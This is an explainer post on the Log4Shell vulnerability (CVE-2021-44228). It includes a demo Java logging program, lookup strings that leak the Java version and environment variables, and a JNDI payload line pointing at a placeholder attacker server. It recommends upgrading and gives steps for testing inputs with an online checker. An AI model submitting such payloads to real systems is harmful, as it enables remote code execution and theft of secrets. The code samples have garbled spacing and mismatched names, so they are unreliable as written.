log4j Vulnerability test

Introduction :

You may have recently heard about the security issue (CVE-2021-44228) Log4j. But what really is this problem?

Log4j is a popular library used for logs in Java.

Due to the widespread use of this library in most Java-based products, as well as the high level of access that hackers can obtain, the problem is critical and has caused a great deal of controversy. Many people consider this security problem to be the biggest and most important security problem in the history of the Internet. As Jane Easterly, the head of the US Cyber Security Agency, considers this security problem to be one of the most serious flaws she has seen during her career.

Problem in plain language:

To explain the security problem, we write a very simple program in Java that uses the Log4j library.

TryLogger.java

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;

public class Gday {
static Logger logger = LogManager.getLogger (Gday.class);

public static void main (String ... args) {
System.out.println ("Main says, 'Hello, world.'");
logger.error (args [0]);
System.out.println ("Main is exiting.");
}
}

This simple program logs user input. Now we run the program with a simple argument:

‍‍‍‍

java TryLogger.java "Hello there"

Main says, 'Hello, world.'
18: 40: 46.385 [main] ERROR Gday - Hello there
Main is exiting.

Well, as long as there is no problem, let’s change the user input

java TryLogger.java "$ {java: version} / $ {java: os}"

Main says, 'Hello, world.'
18: 51: 52.959 [main] ERROR Gday - Java version 17.0.1 / Windows 10 10.0, architecture: amd64-64
Main is exiting.

java TryLogger.java "Username is \ \$ {env: USERNAME}"

Main says, 'Hello, world.'
18: 55: 47.744 [main] ERROR Gday - Username is duck
Main is exiting.

You can see that shell variables, which sometimes store important information like tokens, are visible.

But the main problem is that Log4j‌ supports JNDI. This feature can be used by hackers to execute code remotely. In simple language, for example, at the input of a hacker user

$ {jndi: ldap: // hackerServerIp / context-name}

Enters. Which causes Log4j to connect to the hacker server. And then the hacker can execute his own code remotely.

Therefore, wherever our service receives input from the user (rest api, text input, etc.) and the library Log4j is used to log this input, this problem exists. Even if our service is secure, but the peripherals we use (including apache, oracle, ..) use Log4j, there is a security problem.

what’s the solution:

(Amnesh company has no guarantee for this solution and is for information only)

Version 2.14.1 and previous versions of the Log4j library have this security issue (this issue has been resolved in versions 2.15 and 2.16). Therefore, any service that is suspected of using the Log4j library should be updated (because well-known companies are constantly working to solve this problem and publish their product updates quickly to deal with this problem).

How to easily test user input:

Now suppose you want to be sure that the data you get from the user can cause a security problem or not (this data can be text input, rest api parameters or anything else):

3- Open the site https://log4shell.huntress.com.

２- Copy the text marked with an arrow in the figure above. Then paste in the user input.

3- Then click on the view connections button to open the following page

4- If a record (ip and date) was created as shown above, it means that the user input (text input, rest api parameters, ..) has a security problem Log4j.

log4j Vulnerability test